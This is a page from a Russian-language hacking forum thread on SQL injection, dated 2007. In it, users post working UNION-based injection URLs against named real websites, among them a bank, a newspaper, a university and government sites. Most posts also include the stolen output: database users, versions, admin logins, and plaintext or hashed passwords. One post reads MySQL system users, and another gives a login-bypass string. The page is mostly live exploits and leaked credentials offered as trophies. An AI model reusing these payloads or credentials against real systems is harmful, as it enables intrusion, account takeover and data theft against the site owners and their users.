SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
Page 199 of 798
  1. Mike 007

    Mike 007 Elder - Старейшина

    Joined:
    4 Apr 2007
    Messages:
    58
    Likes Received:
    47
    Reputations:
    -4
    Официальный сайт клуба "Бодрость"
    Code:
    http://www.bodrost.h1.ru/results.php?id=-1+union+select+1,concat_ws(0x3a,user(),version(),database()),3,4,5,6/*
    [email protected]
    4.0.18
    p.s: я не стал подбирать таблици, т.к. сайт сильно тормозит =(
     
    #3961 Mike 007, 5 Dec 2007
    2 people like this.
  2. Maxyks

    Maxyks Banned

    Joined:
    8 Sep 2007
    Messages:
    174
    Likes Received:
    288
    Reputations:
    20
    nvsaratov.ru - газета "Новые Времена"
    случайно наткнулся на сей сайт...
    Code:
    http://[COLOR=YellowGreen]nvsaratov.ru[/COLOR]/default.php?go=show&id=4887&paper_id=1'+union+select+1,2,3,4,version(),6,user(),8,9,10,11/*
    4.1.22-log [email protected]
    думал се... а нет. тыкнув кавычкой в админке вылезла ошибка:
    из которой сразу видны таблица и колонки =)
    Code:
    http://[COLOR=YellowGreen]nvsaratov.ru[/COLOR]/default.php?go=show&id=4887&paper_id=1'+union+select+1,2,3,4,concat(login,char(58),pass,char(58),email,char(58),name),6,7,8,9,10,11+from+__admin/*
    webmaster:824dbff1455fe6ed2d753200a889fbb1:[email protected]:Новые времена
    admin:0b944a04224b108c29b460245a13664e:design@overta:Администратор
    собсно расшифровывать пароли мы не будем... а исходя из вышеупомянутой ошибки, составим запрос =)
    Code:
    0b944a04224b108c29b460245a13664e' AND is_encoded=1) OR (pass='12345' AND is_encoded=0)) LIMIT 1/*
    куда его вставлять додумывайте сами... вуаля мы в админке =) п.с. информация о уязвимости была отправлена
     
    #3962 Maxyks, 5 Dec 2007
    6 people like this.
  3. KEHT33

    KEHT33 Elder - Старейшина

    Joined:
    26 Nov 2006
    Messages:
    49
    Likes Received:
    34
    Reputations:
    5
    БД 4...перебором нашёл мемберов
    HTML:
    http://www.gilbo.ru/index.php?page=liderlist&art=-1255'+UNION+SELECT+1,2,concat(nick,0x3a,pass),4,5,6,7+FROM+members+limit+1,1/*
    Админка
    HTML:
    http://www.gilbo.ru/admin.php
     
    #3963 KEHT33, 5 Dec 2007
    3 people like this.
  4. Roba

    Roba Banned

    Joined:
    24 Oct 2007
    Messages:
    237
    Likes Received:
    299
    Reputations:
    165
    EEстонский JaZZ
    www.jazzkaar.ee
    Code:
    http://www.jazzkaar.ee/eng/news.php?id=-1+union+select+1,AES_DECRYPT(AES_ENCRYPT(version(),0x71),0x71),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+users+--+
    4.1.13-Debian_0.dotdeb.0-log
    Code:
    http://www.jazzkaar.ee/eng/news.php?id=-1+union+select+1,AES_DECRYPT(AES_ENCRYPT(concat_ws(0x3a,username,password),0x71),0x71),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+users+limit+0,1+--+
    Есч0 и сбрутил =)
    Code:
    testuser:179ad45c6ce2cb97cf1029e212046e81:testpass  
kasutaja:878e9103c2f839fab4027a12b1b33e8c:kasutaja
    Идем дальше..

    ПОЗОР ДНЯ

    Корпорация ЮНИ

    Специализация: Информационные технологии и Информационная Безопасность.

    www.uni.ru
    Code:
    http://www.uni.ru/news.php?action=show_event&id=-1+union+select+1,2,3,4,5,6,7,8,9,version(),11,12+--+
    5.0.26-standard-log
    Табла users.
    Столбцы:
    uid
    user
    password
    Code:
    http://www.uni.ru/news.php?action=show_event&id=-1+union+select+1,2,3,4,5,6,7,8,9,concat_ws(0x3a,uid,user,password),11,12+from+itg.users+--+
    Code:
    2:itg:zQ34hPx9
    Дальше..

    ONLINE JOBS
    www.onlinejobs.ru
    Code:
    http://onlinejobs.ru/comment.php?ID=-1+union+select+1,version(),3,4,5+--+
    5.0.22
    Удобный вывод всех таблиц.
    Code:
    http://onlinejobs.ru/comment.php?ID=-1+union+select+1,table_name,3,4,5+from+information_schema.tables+--+
    Интересные:
    admins
    adminip
    users
    Code:
    http://onlinejobs.ru/comment.php?ID=-1+union+select+1,concat_ws(0x3a,id,name,pass,mail,admins),3,4,5+from+jobsmarket_job.admins+--+
    Code:
    1:adminyu:1q2wasdfre:[email protected]:0
     
    #3964 Roba, 5 Dec 2007
    2 people like this.
  5. A2GIL

    A2GIL Elder - Старейшина

    Joined:
    31 Aug 2007
    Messages:
    84
    Likes Received:
    59
    Reputations:
    -3
    Рейтинг серверов Linage II

    http://top.l2info.net/index.php?go=in&id=279 and 1=2 union select 1,2,3,4,table_name,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 from information_schema.tables/*
     
    #3965 A2GIL, 6 Dec 2007
    2 people like this.
  6. je0n

    je0n Elder - Старейшина

    Joined:
    14 May 2006
    Messages:
    345
    Likes Received:
    96
    Reputations:
    41
    http://onlinejobs.ru:2222/CMD_LOGIN - админка, но пароль не подошел :(
     
    #3966 je0n, 6 Dec 2007
    1 person likes this.
  7. Joker-jar

    Joker-jar Elder - Старейшина

    Joined:
    11 Mar 2007
    Messages:
    581
    Likes Received:
    205
    Reputations:
    37
    Code:
    http://www.cyberbrest.com/index.php?page=files&id=-1+union+select+1,2,3,4,5,concat_ws(char(0x20,0x3a,0x20),login,password,email),7+from+user/*
     
    #3967 Joker-jar, 6 Dec 2007
    4 people like this.
  8. Mike 007

    Mike 007 Elder - Старейшина

    Joined:
    4 Apr 2007
    Messages:
    58
    Likes Received:
    47
    Reputations:
    -4
    www.abruzzoverdeblu.it
    Code:
    http://www.abruzzoverdeblu.it/?id=-1+union+select+1,2,3,4,5,concat_ws(0x3a,database(),0x3a,user(),0x3a,version(),0x3a),7,concat(username,0x3a,password),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+abruzzov_db.utenti/*
    Расскрутил до конца!!!
    admin : bluver02
    а админку не нашёл =)))
    abruzzov_user1@localhost
    5.0.45-community
    abruzzov_db
     
    #3968 Mike 007, 6 Dec 2007
    3 people like this.
  9. .Begemot.

    .Begemot. Elder - Старейшина

    Joined:
    27 Mar 2007
    Messages:
    148
    Likes Received:
    233
    Reputations:
    0
    HTML:
    http://www.phuket-estate.com/search.php?hot=999999'
    HTML:
    http://www.phuket-estate.com/search.php?hot=999999'+union+select+0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,convert(concat(USER(),char(58),VERSION())+using+latin1),21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,convert(concat(DATABASE(),char(58))+using+latin1),50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69/*
    70 столбцов...
    USER:[email protected]
    DATABASE:jeab690_AMRE
    VERSION:4.1.14-log
     
    #3969 .Begemot., 6 Dec 2007
    1 person likes this.
  10. K1nD[e]R

    K1nD[e]R Banned

    Joined:
    16 Jun 2007
    Messages:
    159
    Likes Received:
    127
    Reputations:
    0
    Code:
    http://www.dizelist.ru/index.php?id=-7+union+select+1,version(),concat_ws(0x2F,id,name,password),4,5,6,7+from+ds_dizelist_users/*
    Version : 5.0.45-log/[email protected]/u59144

    Admins:

    Id / Name / Password

    1/Dizelist.RU/Administrator123
    2/Тарас/tarikpassword
    3/VE/9505111
    4/dizel/9112014
    5/Nicolay/456123
    6/Юрий/30055691
     
    #3970 K1nD[e]R, 6 Dec 2007
    4 people like this.
  11. RenGen

    RenGen Member

    Joined:
    23 Oct 2007
    Messages:
    3
    Likes Received:
    7
    Reputations:
    0
    http://www.eduvluki.ru

    Code:
    http://www.eduvluki.ru/metod/level2.php?id=-178+union+select+concat_ws(0x3a,user_login,user_passwd)+from+arc_users/*
    Админка
    Code:
    http://www.eduvluki.ru/admin/
     
    #3971 RenGen, 6 Dec 2007
    3 people like this.
  12. fRg

    fRg Active Member

    Joined:
    28 Dec 2006
    Messages:
    111
    Likes Received:
    172
    Reputations:
    0
    Эх, Италия ...

    pigot4.it
    Code:
    http://www.pigot4.it/testi-canzoni-gratis/cantanti.php?cantante=-1+union+select+1,concat_ws(0x3a,version(),database(),user())/*
    4.1.19-community-nt:testicanzoniit154:WA_012988@localhost

    Админ [ логин : пасс ]:
    Code:
    Pigot4 : LmrscA90t
    ------------------------------------------------------------------------

    Powered by: Cowgar Racing's Apache Portal. It's CRAP!!! - gameрские сайты

    Примеры:

    [1.] fierojoe.com :
    Code:
    http://www.fierojoe.com/index.php?func=plugins&p=classifieds&go=item_details&id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,concat_ws(0x3a,version(),database(%20%20%20),user())/*
    5.0.42-log:fierojoe_new:fierojoe@localhost

    116 таблиц:
    Code:
    http://www.fierojoe.com/index.php?func=plugins&p=classifieds&go=item_details&id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,table_name+from+information_schema.tables+limit+115,1/*
    Наши табы и нужные акки в них:
    Code:
    crap_email_list
crap_host_users       fierojoe : fe565f575eebcc06e65b5cc51667c368 [ fierogt ]
crap_users            admin : 87ee82c2af7fbd7ecf7bcd7b73b4afb1
j_users               fierojoe : fierogt
    [2.] ricewarsthegame.com
    Code:
    http://www.ricewarsthegame.com/index.php?func=plugins&p=links&go=sub_list&cat_id=-1+union+select+1,concat_ws(0x3a,version(),database(%20%20%20),user())/*
    5.0.42-log:ricewars:ricewars@localhost

    63 таблицы:
    Code:
    http://www.ricewarsthegame.com/index.php?func=plugins&p=links&go=sub_list&cat_id=-1+union+select+1,table_name+from+information_schema.tables+limit+63,1/*
    Нам нужна таба mantis_user_table

    Сайт группы: _http://crap.cowgarracing.com/index.php
    Админский акк вероятно:
    Code:
    admin : 87ee82c2af7fbd7ecf7bcd7b73b4afb1
    ------------------------------------------------------------------------

    gov

    radom.rdlp.gov.pl
    Code:
    http://www.radom.rdlp.gov.pl/index.php?id=10&a=-1+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7/*
    5.0.32-Debian_7etch1-log:rdlp_radom_pl:rdlpradom@localhost

    Админ [ логин : пасс ] :
    Code:
    paneLBiP : panelbIp,
    но админку не нашёл :mad:
     
    #3972 fRg, 7 Dec 2007
    2 people like this.
  13. [aywo]

    [aywo] Elder - Старейшина

    Joined:
    1 Feb 2007
    Messages:
    89
    Likes Received:
    55
    Reputations:
    5
    Code:
    http://www.alliancepermanentaccess.eu/index.php?id=-1+union+select+1,id,username,password,5,6,7+from+users+limit+3,2/*
    database: alliancepermanentaccess

    user: [email protected]

    version: 5.0.22-community-nt

    в базе всего 4 пользователя:

    1)login:Hans Jansen
    password:jansen

    2)login:Ingrid Dillo
    password:dillo

    3)login:Bert Bulder
    password:bulder

    4)login:KirstenvH (может добавлять и редактировать новости)
    password:hulsen
     
    #3973 [aywo], 7 Dec 2007
    Last edited: 7 Dec 2007
    1 person likes this.
  14. Mike 007

    Mike 007 Elder - Старейшина

    Joined:
    4 Apr 2007
    Messages:
    58
    Likes Received:
    47
    Reputations:
    -4
    www.totalgameplay.com
    Code:
    http://www.totalgameplay.com/news.php?id=-1+union+select+1,2,3,version(),5,user(),7,8,database(),10,11/*
    4.1.22-standard-log

    tgp_sysclie@localhost

    tgp_gamedb
    _______________________________________

    При запросе
    Code:
    http://www.totalgameplay.com/news.php?id=-1+union+select+1,2,3,4,5,6,7,8,concat(table_schema,0x3a,table_name),10,11+from+information_schema.columns+where+column_name=0x70617373776F7264/*
    Получается
    Code:
    SELECT command denied to user 'tgp_sysclie'@'localhost' for table 'columns'
    Попробуйте ктонибудь дораскрутить...

    www.kursor-trans.com
    Code:
    http://www.kursor-trans.com/news.php?id=-1+union+select+1,2,user(),version()/*
    4.1.22-standard

    kursor_alex@localhost
     
    #3974 Mike 007, 7 Dec 2007
    Last edited: 7 Dec 2007
    1 person likes this.
  15. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    Bank Of Baku
     
    #3975 Spyder, 7 Dec 2007
    2 people like this.
  16. .Begemot.

    .Begemot. Elder - Старейшина

    Joined:
    27 Mar 2007
    Messages:
    148
    Likes Received:
    233
    Reputations:
    0
    HTML:
    http://trizland.ru/task.php?id=9999
    HTML:
    http://trizland.ru/task.php?id=9999+union+select+0,1,concat(USER(),0x3a,VERSION(),0x3a,DATABASE(),0x3a),3,4,5,6,7,8/*
    USER:[email protected]
    VERSION:4.1.18
    DATABASE:bin17www
     
    #3976 .Begemot., 7 Dec 2007
  17. nec

    nec Elder - Старейшина

    Joined:
    6 Jul 2005
    Messages:
    98
    Likes Received:
    20
    Reputations:
    1
    www.crim.ncsu.edu/

    Code:
     http://www.crim.ncsu.edu/project_detailed.php?id=-1+union+select+1,2,3,concat(user_login,0x3a,user_pass),5,6,7,8,9,1,2,3,4,5,6,7,8+from+wp_users+limit+0,1/*
    admin:75bb40f591c0db371aba50f65741d73f
     
    #3977 nec, 7 Dec 2007
    1 person likes this.
  18. K1nD[e]R

    K1nD[e]R Banned

    Joined:
    16 Jun 2007
    Messages:
    159
    Likes Received:
    127
    Reputations:
    0
    Немнога доработал

    Code:
    http://www.bankofbaku.com/rus/news.php?id=-15'+union+select+1,2,load_file('/tmp/123.php'),4,5,6,7,8,9,10,11,12,13,14,concat_ws(0x2F,user,password)+from+mysql.user/*
    admins

    root/60f57c4813f45b5f
    orxanx/3d43b7262348c8c8
     
    #3978 K1nD[e]R, 7 Dec 2007
    1 person likes this.
  19. min7

    min7 Elder - Старейшина

    Joined:
    3 Sep 2005
    Messages:
    117
    Likes Received:
    85
    Reputations:
    11
    Code:
    http://www.[COLOR=Olive]seacoastrugby.org[/COLOR]/news.php?id=-123+union+select+1,2,concat_ws(char(58,58),user(),database(),version()),4/*
    rugby@localhost::seacoast::5.0.27
    Code:
    http://www.seacoastrugby.org/news.php?id=-123+union+select+1,2,concat_ws(char(58,58),username,email,password),4+from+mos_users/*
    admin::[email protected]::f749b2d0d046218a980aa301950d6aa7
     
    #3979 min7, 7 Dec 2007
    1 person likes this.
  20. Mike 007

    Mike 007 Elder - Старейшина

    Joined:
    4 Apr 2007
    Messages:
    58
    Likes Received:
    47
    Reputations:
    -4
    Code:
    http://socstudikantiani.fls.unipi.it/index.php?id=-1+union+select+1,2,3,user(),5,version(),7,8,9,10/*
    Code:
    http://rba-optima.com/index.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13/*
    Что за??
    Code:
    http://www.dualtime.ru/category.php?id=-1+union+select+1,2,3/*
    и
    Code:
    http://www.mywatches.ru/category.php?id=-1+union+select+1,2,3/*
    и
    Code:
    http://www.atlantic-time.ru/category.php?id=-1+union+select+1,2,3/*
    что за?
    ________________________________________

    www.korsteklobor.ru

    Code:
    http://www.korsteklobor.ru/category.php?id=-1+union+select+1,concat(login,0x3a,password),3+from+user/*
    тут всё сделал =)
    логин: korsteklobor
    пасс: krstklbr
     
    #3980 Mike 007, 7 Dec 2007
    Last edited: 7 Dec 2007
    2 people like this.
(You must log in or sign up to post here.)
Page 199 of 798
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.